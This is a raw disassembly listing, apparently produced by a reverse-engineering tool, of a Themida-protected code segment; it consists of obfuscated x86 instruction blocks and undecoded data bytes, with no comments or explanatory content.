; ---------------------------------------------------------------------------
		db 5Ah,	29h, 0D8h
		dd 0D723DD05h, 241C8B5Ch, 4C481h, 0B8050000h, 16A1841h
		dd 41B82DD8h, 0B9516A18h, 4B5F757Bh, 0FF59C801h, 3CE92434h
		dd 10000ABh, 0BA5258C6h, 4, 867E9h, 0C8B6600h, 2D776824h
		dd 2C890000h, 4EC8124h,	0E9000000h, 11B79h, 0E92434FFh
		dd 106C6h, 70E9D3F6h, 0B7FFFFE0h, 58E730EBh, 80B7C780h
		dd 0E62C5FC7h, 0E604F800h, 0E92434FFh, 0FFFFCC7Fh
; ---------------------------------------------------------------------------


loc_554C30:				; CODE XREF: Themida_:00562700j
		push	ebx
		jmp	loc_56315D
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 3A736856h, 3CE92BF0h, 0FF0000A9h,	0B7E92434h
		dd 890000B0h, 0C15F5EF2h, 814204E2h, 17D665F2h,	1B17E955h
		dd 248B0001h, 4FF6624h,	7FE99C24h, 0FEFFFFCAh, 23EE80C6h
		dd 2EE9D6F6h, 0FFFFD3h,	0E6D059CEh, 806ACE80h, 0F0880FF6h
		dd 8B2434FFh, 7BE92414h, 56000080h, 0A4A4BBEh, 26E9513Ah
		dd 8BFFFFF8h, 8F542424h, 57562404h, 0FFD946E9h,	0E9F801FFh
		dd 0BFB1h
; ---------------------------------------------------------------------------


loc_554CB4:				; CODE XREF: Themida_:00565C65j
		pop	edx
		and	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	bh, 0CDh
		sub	bh, 0F6h
		xor	al, bh
		jmp	loc_556AD0
; ---------------------------------------------------------------------------


loc_554CCA:				; CODE XREF: Themida_:005631A3j
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_561929
; ---------------------------------------------------------------------------
		dd 808EC780h, 5DE910C7h, 81000078h, 0B46889C2h,	0D2D3E922h
		dd 0E95BFFFFh, 1F01h, 8B243C33h, 4012424h, 0E7E99C24h
		dd 93FFFFC9h, 88EFEB81h, 57E9DB0Ah, 0FFFFFFFBh,	34FF3877h
		dd 240C8B24h, 32AF68h, 24048900h, 617CE9h
		db 0
; ---------------------------------------------------------------------------


loc_554D29:				; CODE XREF: Themida_:00552C9Bj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_552BB9
; ---------------------------------------------------------------------------
		dw 0DA29h
		dd 0C1DAF75Bh, 0BD5507EAh, 5174ED6h, 2929ED81h,	0EA298D09h
		dd 0E0C7E9h, 0F7E6D100h, 0DFF681D6h, 8123E04Bh,	1B8160F6h
		dd 5EF501B3h, 4BA52h, 0D5010000h, 242C335Ah, 33242C31h
		dd 248B242Ch, 6BE9C324h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554D83:				; CODE XREF: Themida_:005621CBj
		inc	edi
		push	eax
		mov	eax, 749A1894h
		shr	eax, 3
		and	eax, 53E525D0h
		xor	eax, ecx
		jmp	loc_563385
; ---------------------------------------------------------------------------
		db 50h,	81h, 0ECh
		dd 4, 68241489h, 70FD3135h, 5A58525Ah, 4244431h, 0E9565858h
		dd 0F603h, 53240C89h, 0BB030EBBh, 31EB8116h, 810F626Dh
		dd 5403E5F3h, 64EB810Eh, 817DFC5Ah, 0FE27FDC3h,	7DEB8187h
		dd 0E90517FFh, 475Eh, 0C80896BFh, 0E9FD095Fh, 0BAAEh, 0FFE98366h
		dd 65CDE9h, 4EC8100h, 54000000h, 0BD44E9h, 5C685F00h, 0E9000051h
		dd 0B749h, 90E9965Fh, 560000BCh, 4605D8BEh, 3BE68135h
		dd 0F772545Ch, 10EE81D6h, 899E1CCFh, 24348BF2h,	8704C483h
		dd 87D6F7F2h, 0DCC281F2h, 2D319F2Ch, 2BA2630Bh,	0DB59EA05h
		dd 2DD0017Ch, 7CDB59EAh, 0A2630B05h, 0DB2E92Bh,	0E3810000h
		dd 21BB079Bh, 46ABBD55h, 83E93149h, 89000068h, 0E2892414h
		dd 4C281h, 6AE90000h, 8B0000B1h, 0C4812434h, 4,	5C243C87h
		dd 9009E9h, 0C6814600h,	4F2546F0h, 6E87B951h, 0E1C14CF9h
		dd 0CEC18105h, 124D9EDh, 776859CEh, 0E900003Bh,	5FA1h
; ---------------------------------------------------------------------------


loc_554EB0:				; CODE XREF: Themida_:00562A32j
		add	ebp, 2BF75645h
		sub	edx, ebp
		jmp	loc_55C6D6
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0E9830000h, 240C8704h, 2434895Ch, 9670E9h, 0E9F52900h
		dd 10279h, 21E9F729h, 81000040h, 0CC75F7C7h, 81F70146h
		dd 0CC75F7EFh, 0B1B3E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554EF6:				; CODE XREF: Themida_:00556858j
		mov	esp, [esp]
		jmp	loc_56198D
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 1431CA87h, 4AF2E924h, 3C890000h, 77836824h, 3C8B368Ch
		dd 4C48324h, 8C1FE9h, 53F68100h, 1BF92ECh, 24348BF1h, 43D6E9h
		dd 0B60F6600h, 0F66866C8h, 0C896676h, 0C7B0E924h, 0CF01FFFFh
		dd 81240C8Bh, 4C4h, 2BB5300h, 81000000h, 4ECh, 0FB63E900h
		dd 515CFFFFh, 2B9h, 0A3C38100h,	0E928F609h, 492Eh
; ---------------------------------------------------------------------------


loc_554F6C:				; CODE XREF: Themida_:005654E6j
		pop	edi
		xor	ebx, 0E51132Fh
		xchg	esi, ebx
		push	esi
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		push	dword ptr [esp]
		pop	esi
		push	edx
		jmp	loc_5565F7
; ---------------------------------------------------------------------------
		dd 33243C31h, 0F1E9243Ch, 5D00009Ch, 118C6E9h, 20E95F00h
		dd 0F60000ACh, 80C2FED2h, 0D13009C2h, 3C8FE9h, 0EFEF8100h
		dd 8130AC06h, 0B4902CF7h, 5FFA01A4h, 77BCCA81h,	0E9551EC8h
		dd 1AA2h, 81242489h, 42404h, 34FF0000h,	240C8B24h, 81E38953h
		dd 4C3h, 4C38300h, 5C241C87h, 4192E9h
		db 0
; ---------------------------------------------------------------------------


loc_554FED:				; CODE XREF: Themida_:00562648j
		sub	ebx, 37294C74h
		mov	edx, ebx
		jmp	loc_553682
; ---------------------------------------------------------------------------
		dw 8359h
		dd 0EB8104C4h, 4, 4637E9h
		db 0
; ---------------------------------------------------------------------------


loc_555009:				; CODE XREF: Themida_:00557246j
		mov	ecx, 6099151Ah
		shr	ecx, 2
		jmp	loc_566C6B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5DE95504h, 8300007Fh, 0D5F704C4h, 0C583D5F7h, 0AAC58101h
		dd 898490A6h, 242C8BE9h, 4C481h, 0C3810000h, 6D64748h
		dd 0B6E9CB01h, 1000028h, 22C381C3h, 5854E36Ah, 0F381DBF7h
		dd 8DD69223h, 1C8BD909h, 4C48324h, 0FFFFE981h, 0E1C1FFFFh
		dd 0E08DE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55506E:				; CODE XREF: Themida_:005551A1j
		mov	eax, 17C5630Dh
		xchg	eax, ebp
		inc	ebp
		xchg	eax, ebp
		jmp	loc_55914E
; ---------------------------------------------------------------------------


loc_55507B:				; CODE XREF: Themida_:00555ED2j
		add	ebp, 4
		jmp	loc_55DA6F
; ---------------------------------------------------------------------------


loc_555086:				; CODE XREF: Themida_:005647A8j
		push	esi
		push	edi
		jmp	loc_55712F
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4C3h, 241C8700h, 5624248Bh, 1102AE9h, 2978BA00h
		dd 0D7010B10h, 8124148Bh, 4C4h,	81F72900h, 102978EFh, 24348B0Bh
		dd 2E1EE9h, 8951AD00h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 241C895Ch, 876DE950h, 0DEBE0000h, 31FED9F6h,	0A8E95EF0h
		dd 8F000096h, 4832404h,	3C8B0424h, 0B3A7E924h, 0D3F70000h
		dd 42B2F381h, 0BA52CA40h, 3107441Bh, 5A7EE9h
		db 0
; ---------------------------------------------------------------------------


loc_555111:				; CODE XREF: Themida_:0055567Bj
		mov	edi, 4FEA2AB0h
		push	ebx
		push	eax
		mov	eax, 287E7F34h
		dec	eax
		xor	eax, 66606231h
		not	eax
		xor	eax, 73A52EF8h
		push	ebp
		jmp	loc_55F284
; ---------------------------------------------------------------------------
		dd 64E9D901h, 0FF00007Dh, 34FF2434h, 24148B24h,	4EC81h
		dd 79E90000h, 83000100h, 0E90904C4h, 5D2434FFh,	4C481h
		dd 0EC810000h, 4, 0BBA3E9h
		db 0
; ---------------------------------------------------------------------------


loc_555165:				; CODE XREF: Themida_:00558179j
		mov	ecx, [esp]
		push	4BE7h
		jmp	loc_55390B
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 1214h
; ---------------------------------------------------------------------------


loc_555178:				; CODE XREF: Themida_:00558E23j
		mov	ecx, 4BC91ECEh
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 0FE10E6Ah
		xor	esi, ebx
		pop	ebx
		or	esi, 50BC1F98h
		add	esi, 0FFFFFFFFh
		xor	esi, 133C39CCh
		push	eax
		jmp	loc_55506E
; ---------------------------------------------------------------------------


loc_5551A6:				; CODE XREF: Themida_:0055BBAFj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_5669E3
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0
aCS		db 8,'C-éÇÌ',0
		align 4
		dd 5503E956h, 0E9590000h, 270Bh, 0B652722Ch, 1C68078h
		dd 0F7A1E9h, 2434FF00h,	83240C8Bh, 0D4E904C4h, 57000116h
		dd 0FFD861E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5551F1:				; CODE XREF: Themida_:005519A0j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_55BE5E
; ---------------------------------------------------------------------------
		db 1, 0C8h, 5
aERssX		db 'ìEÁrSéÒX',0
		align 2
		dw 0C505h
		dd 11E3A61h, 61C52DD0h,	565A1E3Ah, 2BEh, 3CE0E900h, 5D5A0000h
		dd 0E92434FFh, 0FD0Dh, 78C268h,	24148900h, 2E09BD55h, 0DBA742Fh
		dd 29742F2Eh, 0C1815DEAh, 701A01E6h, 0E956D101h, 10771h
; ---------------------------------------------------------------------------


loc_555258:				; CODE XREF: Themida_:0055C058j
		pop	eax
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_55635E
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 5EF70100h, 7659E9h, 19EF6800h,	4890000h, 2C22B024h
		dd 8E8C004h, 0E0D0E0D0h, 0A48BE9h, 5E5C0500h, 0F8012C6Ah
		dd 6A5E5C2Dh, 198D052Ch, 34FF04C4h, 98685F24h, 8900007Bh
		dd 0E189240Ch, 0CCE4E955h, 8B660000h, 5457240Ch, 0A444E9h
		dd 0FFEB3100h, 835D2434h, 1A0504C4h, 29240308h,	81A2DD8h
		dd 685B2403h, 1369h, 0BE243489h, 35B331FEh, 0EE6CC681h
		dd 0B3E9D74Ah
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5552E7:				; CODE XREF: Themida_:0055B5BDj
		xor	ecx, ebp
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_558741
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C9E905E2h, 68FFFFE3h, 3BC5181Eh, 83241C8Bh,	0D92104C4h
		dd 83241C8Bh, 0ACE904C4h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555313:				; CODE XREF: Themida_:00563118j
		inc	ebp
		dec	ebp
		add	ebp, 1
		push	ebx
		mov	ebx, 543C786Eh
		sub	ebx, 1A4763DCh
		add	ebx, 7F5D57FFh
		not	ebx
		sub	ebx, 573764A4h
		xor	ebx, 97E52699h
		shr	ebx, 1
		xor	ebx, 3C4914h
		xor	ebx, 57196612h
		or	ebx, 67911C90h
		dec	ebx
		sub	ebx, 15B683AEh
		shl	ebx, 3
		jmp	loc_565F2D
; ---------------------------------------------------------------------------


loc_55535E:				; CODE XREF: Themida_:00566AB1j
		mov	esp, [esp]
		push	ebx
		jmp	loc_55A0AE
; ---------------------------------------------------------------------------


loc_555367:				; CODE XREF: Themida_:0055A927j
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 5
		xor	ecx, 62256A1Ah
		push	0F4Dh
		jmp	loc_56063B
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 71h
		dd 811EEB0Ah, 4ECh, 24048900h, 97B6E9h,	6800h, 0DE90000h
		dd 290000B0h, 0CAECE9FAh, 0C4830000h, 55D60104h, 0D740E5BDh
		dd 4EC8173h, 89000000h,	0E951241Ch, 6EB7h, 64C7815Fh, 89059796h
		dd 0F9E95FFBh, 0B90000C8h, 5A19556Dh, 0C1D1F741h, 0DFE905E9h
		dd 0BA0000EAh, 7CE771A9h, 0FFD568E9h, 243C33FFh, 4B41E9h
		dd 0EC815500h, 4, 0D073E9h, 24048100h, 4, 786BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55540D:				; CODE XREF: Themida_:0055FAB7j
		xor	edx, eax
		jmp	loc_5516EE
; ---------------------------------------------------------------------------


loc_555414:				; CODE XREF: Themida_:005592FEj
		mov	eax, esp
		jmp	loc_55F61D
; ---------------------------------------------------------------------------


loc_55541B:				; CODE XREF: Themida_:0055DA57j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_55733B
; ---------------------------------------------------------------------------


loc_555429:				; CODE XREF: Themida_:00557AAEj
		push	edi
		jmp	loc_55BBC5
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC2BAh, 0C5285866h, 8051B252h, 0DAF672F2h, 0F8C6E9h
		dd 57E18900h, 0FFCDB5E9h, 2434FFFFh, 0E9242C8Bh, 0B490h
		dd 875AD601h, 248B2434h, 66F83024h, 6EB4505Bh, 0FFC58CE9h
		dd 247C29FFh, 246C8104h, 0FE546404h, 243C8B70h,	4C481h
		dd 4290000h, 4EC8124h, 0E9000000h, 58A7h, 46F4C581h, 9DE92AD8h
		dd 89000047h, 4C781E7h,	83000000h, 3C8704EFh, 3C895C24h
		dd 1E95424h, 31000003h,	0D3015EF2h, 84AAE95Ah, 0F5810000h
		dd 2AD077C2h, 0AFCDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5554C9:				; CODE XREF: Themida_:0055CF77j
		pop	ebx
		pop	ebp
		and	eax, ebx
		jmp	loc_55B6A9
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 0C47E9h
		db 0
; ---------------------------------------------------------------------------


loc_5554DD:				; CODE XREF: Themida_:00555BABj
		not	edi
		xchg	edi, ecx
		neg	ecx
		push	edx
		mov	edx, 0CD6E4FC7h
		push	edi
		mov	edi, 22F218B1h
		sub	ecx, edi
		jmp	loc_55EA95
; ---------------------------------------------------------------------------


loc_5554F6:				; CODE XREF: Themida_:00565303j
		mov	[esp], edi
		mov	edi, 450157D6h
		xor	[esp+4], edi
		pop	edi
		jmp	loc_553505
; ---------------------------------------------------------------------------
		dd 42474FFh, 4FD9E9h, 8B545000h, 0C4812404h, 4,	0FB29E9h
		dd 0C8B6600h, 0FD685224h, 89000066h, 4832424h, 2EE90424h
		dd 810000A5h, 4C4h, 0D4F5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555542:				; CODE XREF: Themida_:00551F05j
		xor	edi, 154C2587h
		add	edi, 0E648F984h
		mov	ecx, edi
		pop	edi
		sub	edi, ecx
		jmp	loc_564844
; ---------------------------------------------------------------------------
		dd 6FC3814Bh, 29F70205h, 0D7215BDAh, 4B684F5Ah,	8900004Eh
		dd 4E9241Ch, 290000A1h,	71D6E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55557A:				; CODE XREF: Themida_:00562C96j
		xor	ecx, 774D3FBh
		jmp	loc_562629
; ---------------------------------------------------------------------------
aIxsp		db '䌎p',0
		align 4


loc_55558C:				; CODE XREF: Themida_:005597E8j
		xor	ebp, 0FF67FFE1h
		add	edx, 3E0248D5h
		add	edx, ebp
		sub	edx, 3E0248D5h
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		push	43E3h
		mov	[esp], ecx
		push	573Ch
		mov	[esp], esi
		mov	esi, 50396C13h
		jmp	loc_552C54
; ---------------------------------------------------------------------------
		db 81h
		dd 0BE2432C1h, 89EA8164h, 294D6F03h, 89C281CAh,	0E94D6F03h
		dd 701Bh, 669FB635h, 58C101B4h,	8B240C87h, 0D0302424h
		dd 24148B66h, 0D021E9h,	37C18100h, 0E98253A8h, 9A31h, 4C581h
		dd 0C5830000h, 242C3304h, 0E9242C31h, 0AE0Ah, 396239BAh
		dd 0BB536Fh, 29000000h,	5BDA89D3h, 61EA8142h, 560BF073h
		dd 0C8C321BEh, 0FE81E931h, 0E952FFFFh, 94D0h, 2244C88h
		dd 240C8B66h, 0E902C483h, 0FFFFC0A6h
; ---------------------------------------------------------------------------


loc_555648:				; CODE XREF: Themida_:0055CB86j
		pop	edi
		or	eax, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5586EE
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 5EF85A40h, 1061BD55h, 0F74D233Ah, 4CE94DDDh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55566B:				; CODE XREF: Themida_:0055963Bj
		add	eax, ecx
		pop	ecx
		inc	eax
		and	eax, 2D6F3AE5h
		dec	eax
		add	eax, 0FFFFFFFFh
		push	edi
		jmp	loc_555111
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C483240Ch, 4EC8304h, 0E9240489h,	2CECh
		dd 54243489h, 14FE685Eh, 3C890000h, 4BD5524h, 0E9000000h
		dd 0CC7Ch
; ---------------------------------------------------------------------------


loc_5556AC:				; CODE XREF: Themida_:0055276Fj
		push	edi
		mov	edi, 60CA6613h
		jmp	loc_55BEBA
; ---------------------------------------------------------------------------
		db 68h
		dd 1481h, 0BF243C89h, 2, 565FFE01h, 0E4C4E9h, 0E9D52900h
		dd 0F402h
; ---------------------------------------------------------------------------


loc_5556D4:				; CODE XREF: Themida_:00562CF5j
		pop	ecx
		jmp	loc_5545C5
; ---------------------------------------------------------------------------


loc_5556DA:				; CODE XREF: Themida_:0055B50Bj
		pop	ecx
		push	edi
		mov	edi, 7CA81318h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	edx
		push	esi
		push	ecx
		push	4F3E5C0Eh
		pop	ecx
		jmp	loc_5667F5
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 3FE904C4h, 5C000041h, 0B4240489h, 0F7F48047h, 0FFEE56E9h
		dd 4C481FFh, 56000000h,	0C681E689h, 4, 8704EE83h, 895C2434h
		dd 0B850240Ch, 7DA9384Ah, 4EC81h, 0A9E90000h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55573B:				; CODE XREF: Themida_:005640D4j
		mov	dh, al
		pop	eax
		pop	ebx
		push	ecx
		jmp	loc_559621
; ---------------------------------------------------------------------------
aHvl		db ']hvl',0
		dw 8900h
a4Scf		db '4$éc”',0
		dw 8300h
		dd 895304C4h, 4C381E3h,	0E9000000h, 0F122h
; ---------------------------------------------------------------------------


loc_555764:				; CODE XREF: Themida_:00551CCAj
		push	2Ch
		mov	[esp], esi
		mov	esi, 0D5F0EF7h
		jmp	loc_55D82B
; ---------------------------------------------------------------------------


loc_555776:				; CODE XREF: Themida_:00561C84j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	64F7h
		mov	[esp], ebx
		push	eax
		mov	al, dl
		jmp	loc_561EC0
; ---------------------------------------------------------------------------


loc_55578D:				; CODE XREF: Themida_:00562F24j
		xor	dl, 5Ch
		and	dl, 73h
		sub	dl, 0CCh
		inc	dl
		sub	dl, 0A4h
		or	ah, dl
		pop	edx
		push	eax
		jmp	loc_552F0A
; ---------------------------------------------------------------------------
aSh__		db '^Sh._',0
		dw 8900h
		dd 0E956243Ch, 114F9h, 81243C8Bh, 4C4h,	0BF575200h, 641620D0h
		dd 1620D4BAh, 0E9C28164h, 293DBF7Fh, 0E9EA81FAh, 0E93DBF7Fh
		dd 0FFFFD111h
; ---------------------------------------------------------------------------


loc_5557DC:				; CODE XREF: Themida_:0055CD8Bj
		add	edx, ecx
		add	edx, 6CB908B3h
		jmp	loc_55A360
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BF243C89h, 7241018Dh, 0B7C7E9h, 240C8B00h, 6863E9h
		dd 24248B00h, 240C8B66h, 6613E9h
		db 0
; ---------------------------------------------------------------------------


loc_55580D:				; CODE XREF: Themida_:005646E8j
		sub	eax, edx
		pop	edx
		add	eax, edi
		add	eax, 7C487F57h
		jmp	loc_565240
; ---------------------------------------------------------------------------


loc_55581C:				; CODE XREF: Themida_:0055871Bj
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_55A407
; ---------------------------------------------------------------------------


loc_555838:				; CODE XREF: Themida_:005616D3j
		pop	esi
		push	5457h
		mov	[esp], eax
		push	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_553E69
; ---------------------------------------------------------------------------
		db 0B8h
		dd 47E21718h, 5758C389h, 777ECBBFh, 9BC78142h, 89DC4ED1h
		dd 4E95FFDh, 57FFFFCAh,	576B03BFh, 0B2E94765h, 5FFFFFE0h
		dd 8704C383h, 515C241Ch, 0D425EBB9h, 1CF18171h,	0C1625A29h
		dd 38E902E1h, 540000F6h, 3469E9h, 26685C00h, 89000038h
		dd 0BA2414h, 1000000h, 7F3281CAh, 5AECECEDh, 0FFED23E9h
		dd 27E9ADFFh, 290000DAh, 64FCE9D3h, 0B1510000h,	6820E992h
		dd 0F7950000h, 922D95D5h, 93BC342h, 24048BC5h, 0C104C483h
		dd 685102EDh, 4D260E9h,	0E9814159h, 4532168h, 8104E9C1h
		dd 0D55CB4C1h, 42E98105h, 29F4990Eh, 240C8BCDh,	8104C483h
		dd 0F29E3EDh, 57D5F74Bh, 78950DBFh, 5FFD293Ch, 36DAC281h
		dd 0EA814E48h, 68247297h, 0C281EA01h, 68247297h, 36DAEA81h
		dd 2C8B4E48h, 4C48324h,	6D5168h, 24148900h, 42474FFh, 24048F5Ah
		dd 0FD2EE95Ch, 525FFFFFh, 0B0904BAh, 97E9564Ah,	100010Ch
		dd 242C8BE8h, 0E904C483h, 0A406h, 81DEF758h, 86CD11F6h
		dd 2C18167h, 81796F23h,	0D6624DC1h, 83F1010Ah, 1C8904ECh
		dd 624DBB24h, 0D9290AD6h, 0F1F9E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555996:				; CODE XREF: Themida_:0055BDC1j
		add	eax, esi
		jmp	loc_558A18
; ---------------------------------------------------------------------------


loc_55599D:				; CODE XREF: Themida_:0055748Dj
		push	ebx
		jmp	loc_55A943
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C14747DFh, 0F78106E7h, 0E3A32D44h, 17E9FE01h, 81000032h
		dd 0C004246Ch, 5B442B34h, 0FFBD29E9h, 240C8BFFh, 81E28952h
		dd 4C2h, 0AB4E900h, 685E0000h, 101Fh, 1043BE9h,	0F0015C00h
		dd 0C77CE9h, 0F2B15100h, 88E96EB6h, 0C0FFFFF2h,	0B55102EFh
		dd 18C58055h, 0FE25ED80h, 3BCD80CDh, 28AFC580h,	240C8BEFh
		dd 4EC81h, 2C890000h, 0CF77E924h, 8953FFFFh, 70E957E3h
		dd 8300000Bh, 9BE904ECh, 0FF000018h, 8BE92434h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555A33:				; CODE XREF: Themida_:00558B22j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 45E6581Bh
		shl	edi, 5
		jmp	loc_558F78
; ---------------------------------------------------------------------------
		dd 0ED2F9D05h, 2DE82940h, 40ED2F9Dh, 6E3A9A05h,	2434FF02h
		dd 5D2434FFh, 8304C483h, 0E36804C4h, 89000017h,	5C68241Ch
		dd 5B7BA1DDh, 0B34A9F2Dh, 52D80127h, 0A007A2BAh, 8CE2812Fh
		dd 42449305h, 0EA81D2F7h, 0D3CCAFDFh, 0E53BBF05h, 127A2D38h
		dd 4BE949DDh, 0B8000022h, 12814C72h, 57B0D48h, 12053320h
		dd 89F8AEE6h, 2B21E9C6h, 3C310000h, 0F91FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555ACE:				; CODE XREF: Themida_:0055E458j
		add	ebp, 4B27DB3Dh
		sub	esi, ebp
		pop	ebp
		and	eax, esi
		jmp	loc_55F867
; ---------------------------------------------------------------------------
		dw 1487h
aLH		db '$‹$$h^:',0
		dd 24148900h, 0CB0D86BAh, 0E839E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555AF6:				; CODE XREF: Themida_:005541B8j
		shr	edi, 8
		sub	edi, 181838A7h
		sub	edi, 1E714FBAh
		jmp	loc_56258D
; ---------------------------------------------------------------------------


loc_555B0A:				; CODE XREF: Themida_:0055BD24j
		mov	[esp], esi
		jmp	loc_55DCA2
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0F7DF8724h, 87DF87D3h, 34FF243Ch, 24148B24h,	4C481h
		dd 0D1E90000h, 2500009Ah, 57904828h, 0B34E0548h, 0C6012694h
		dd 4EC8158h, 89000000h,	0D6BA2414h, 297CFB19h, 0F0015AD0h
		dd 0E6CBA52h, 0DAF76795h, 68h, 24142900h, 7BDDE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B66:				; CODE XREF: Themida_:005544C0j
		add	edx, 6B081EFEh
		add	edx, ebp
		push	ebp
		jmp	loc_55F794
; ---------------------------------------------------------------------------
aSK		db '!Íé#Š',0
		dw 5500h
		dd 0B7F6E9h, 0C8B6600h,	2C48124h, 80000000h, 0C328A9EBh
		dd 0A9B652h, 89565AF3h,	4C681E6h, 83000000h, 0C8E904EEh
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555BA7:				; CODE XREF: Themida_:0055977Ej
		neg	ecx
		xchg	edi, ecx
		jmp	loc_5554DD
; ---------------------------------------------------------------------------


loc_555BB0:				; CODE XREF: Themida_:00566C2Cj
		push	edi
		mov	edi, esp
		jmp	loc_56621C
; ---------------------------------------------------------------------------
		dd 0EBC05966h, 3AF38007h, 6449E9h
		db 0
; ---------------------------------------------------------------------------


loc_555BC5:				; CODE XREF: Themida_:00559879j
		not	dword ptr [esp]
		pop	eax
		xor	eax, 0BBD2162h
		add	edx, 3E3B31C5h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7BD1007h
		jmp	loc_551882
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 590B8800h, 0B9C0E9h, 0BD554B00h, 428A4675h
		dd 1B850h, 0C5010000h, 0E9D5F758h, 0FFFFBF39h, 2404335Ah
		dd 0F4A5E9h, 2CD80000h,	0E9890441h, 0C5C4h, 0E9241C8Bh
		dd 8860h, 0A8BAE95Eh, 0D9010000h, 4C21C181h, 0BB5337D3h
		dd 44A50875h, 33DCEB81h, 0BF573570h, 2AAD4C27h,	8543E9h
		db 0
; ---------------------------------------------------------------------------


loc_555C4D:				; CODE XREF: Themida_:005628F9j
		mov	[esp], esi
		mov	esi, 37B32897h
		xor	esi, 2E3622CCh
		jmp	loc_553020
; ---------------------------------------------------------------------------
		dd 4219DA35h, 268AE910h, 0F5890000h, 9BE95855h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555C73:				; CODE XREF: Themida_:00552BEEj
		add	esp, 4
		add	ecx, 1BAF47D1h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55696A
; ---------------------------------------------------------------------------
		dd 31B4C681h, 8953F6EAh, 5BD889F3h, 0BBB8505Eh,	1502332h
		dd 0C32958C3h, 32BBEB81h, 6FE95023h, 81000078h,	0EA6207C3h
		dd 5BDF0135h, 0E9243C33h, 0FFFFF2C4h, 815AD329h, 603DDAC3h
		dd 7AADE94Fh, 248B0000h, 0E930FF24h, 0FFFFBA12h, 8F3EADBAh
		dd 0C1D2F719h, 0F28108EAh, 59AF5102h, 0C795EA81h, 0D10920E2h
		dd 6BB535Ah, 816F3E6Bh,	8B0010EBh, 0F7B85049h, 2D57472Dh
		dd 6C921D7Ch, 5F1BB951h, 0CB294616h, 0FFDC35E9h, 8BF231FFh
		dd 51E92434h, 81000055h, 174B8EAh, 0CDBF574Eh, 817FEC5Ch
		dd 0B745DBCFh, 0B8EDE909h, 248B0000h, 240C8924h, 0FFB9A9E9h
		dd 431A68FFh, 0C890000h, 0B99CE924h, 0EFC1FFFFh, 15EF8103h
		dd 89EB7C14h, 56405FF8h, 9E9CCFBEh, 8BF0290Dh, 0D3E92434h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555D6F:				; CODE XREF: Themida_:005579DFj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 76660C76h
		not	ebx
		shr	ebx, 5
